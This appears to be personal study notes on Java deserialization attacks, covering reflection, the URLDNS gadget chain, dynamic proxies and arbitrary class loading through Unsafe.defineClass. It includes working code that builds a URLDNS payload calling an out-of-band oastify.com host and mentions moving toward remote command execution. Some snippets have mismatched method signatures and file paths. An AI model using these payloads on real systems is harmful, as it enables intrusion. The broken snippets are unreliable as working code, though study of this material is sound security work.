Java Deserialization Attack First:
Reflection
Java reflection function:
1.make Java language more dynamic
2.Modify exiting object attributes
3.Dynamically create objects
4.Dynamically invoke methods
5.Operate internal and private methods
The essence of reflection is:
Reflection is the object of operation
e.g:
Student.java
import java.util.function.Function;
public class student {
public String name = "xiaoming";
private int age = 18;
public student(String name,int age)
{
this.name = name;
this.age = age;
}
private void action(String act)
{
System.out.println(age);
}
}
ReflectionTest.java:
Please carefully read the node i write in the code
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.util.stream.StreamSupport;
public class ReflectionTest {
public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
student stu = new student("poc",18);
// System.out.println(stu);
Class p = stu.getClass();
//Reflection is the object of operation
//Instantiate an object from prototype class
//p.newInstance();
Constructor Studentconstructor = p.getConstructor(String.class,int.class);
student a = (student) Studentconstructor.newInstance("Harder",22);
System.out.println(a);
//Access the attributes inside a class.
Field[] studentfields = p.getDeclaredFields();
for(Field f:studentfields){
System.out.println(f);
}
Field namefield = p.getField("name");
namefield.set(a,"Harder1"); // set methods one args equals to instanced class
System.out.println(a);
Field agefield = p.getDeclaredField("age");//GetDclaredField make private attributes no longer private,make the attributes accessible
agefield.setAccessible(true);
agefield.set(a,17);
System.out.println(a);
//Invoke the methods inside a class
//Invoke the methods is similar as get class attributes
//Both hava "Declared" make private no longer private
Method[] studentmetheds= p.getMethods();
for (Method m:studentmetheds){
System.out.println(m);
}
Method actionmethod = p.getDeclaredMethod("action",int.class);
actionmethod.setAccessible(true);
actionmethod.invoke(a,155555);
}
}
URLDNS chain reference:
Reflection is more important in Deserialization.It's key!!!!
Note:
The module system introduced in Java 9 and later versions has added some new access controls, making it so that even when using setAccessible(true).
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
import java.util.concurrent.Callable;
public class SerializationTest {
public static void serialize(Object obj) throws IOException {
try (ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("Harder.bin"))) {
oss.writeObject(obj);
}
}
//http://q8zdo8mrly5occ3lly6vy22ch3nubj.oastify.com/
public static void main(String[] args) throws IOException, NoSuchMethodException, NoSuchFieldException, IllegalAccessException {
//URL oss =new URL("http://q8zdo8mrly5occ3lly6vy22ch3nubj.oastify.com/");
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
URL url = new URL("http://q8zdo8mrly5occ3lly6vy22ch3nubj.oastify.com/");
// Ensure that the hashcode's code is not -1 here,make not invoke urldns here
// use reflection
Class c = url.getClass(); // GetClass methods can make classes that are not serializable become serializable.
//Constructor p = c.getConstructor(String.class,String.class,int.class,String.class);
//p.newInstance(""); //public URL(String protocol, String host, int port, String file)
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url,1111111112);
hashmap.put(url,1);
//But here,ensure that the hashcodo's code is -1.invoking urldns.
hashcodefield.set(url,-1);
serialize(hashmap);
}
}
GetClass often use make getRuntime that are not serialization become serializable,next remote command execution
Dynamic proxy
import java.lang.reflect.Proxy;
public class ProxyTest {
public static void main(String[] args) {
IUser user = new UserImpl();
user.show();
// Static proxy
// IUser userproxy = new UserPeoxy();
// userproxy.show();
// getclassloader,proxy 接口,要做的事情
// Dynamically Proxy
ProxyinvacationHandler proxyinvacationHandler = new ProxyinvacationHandler(user);
IUser ProxyUser = (IUser) Proxy.newProxyInstance(user.getClass().getClassLoader(),user.getClass().getInterfaces(),proxyinvacationHandler);
ProxyUser.show();
}
}
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
public class ProxyinvacationHandler implements InvocationHandler {
// solve get method
IUser user;
public ProxyinvacationHandler()
{
}
public ProxyinvacationHandler(IUser user){
this.user = user;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("调用了: "+method.getName());
method.invoke(user,args);
return null;
}
}
Classloader
defineclass字节码加载任意类
URLClassloader加载任意类 私有
Unsafe.defineClass 字节码加载public类不能直接生成 spring里面可以直接生成
import sun.misc.Unsafe;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.time.Period;
public class LoaderClassTest {
public static void main(String[] args) throws ClassNotFoundException, IOException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {
// new student("a",22);
ClassLoader cl =ClassLoader.getSystemClassLoader();
// //Class.forName("student",false,cl);
// System.out.println(cl);
// cl.loadClass("student"); // Loadclass don't init
// URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///D:\\tmp\\classes\\")}); // jar: file:// http://
// Class<?> c = urlClassLoader.loadClass("hello");
// defineclassloader
// Method classloadermethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
// classloadermethod.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\tmp\\classes\\"));
// Class c = (Class) new classloadermethod.invoke(cl,"Test",code,0,code.length);
// c.newInstance();
Class c = Unsafe.class;
Field fildstheunsafe = c.getDeclaredField("theUnsafe");
fildstheunsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) fildstheunsafe.get(null);
Class c2 = (Class) unsafe.defineClass("Test",code,0,0,cl,null);
c2.newInstance();
//c.newInstance();
}
}
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java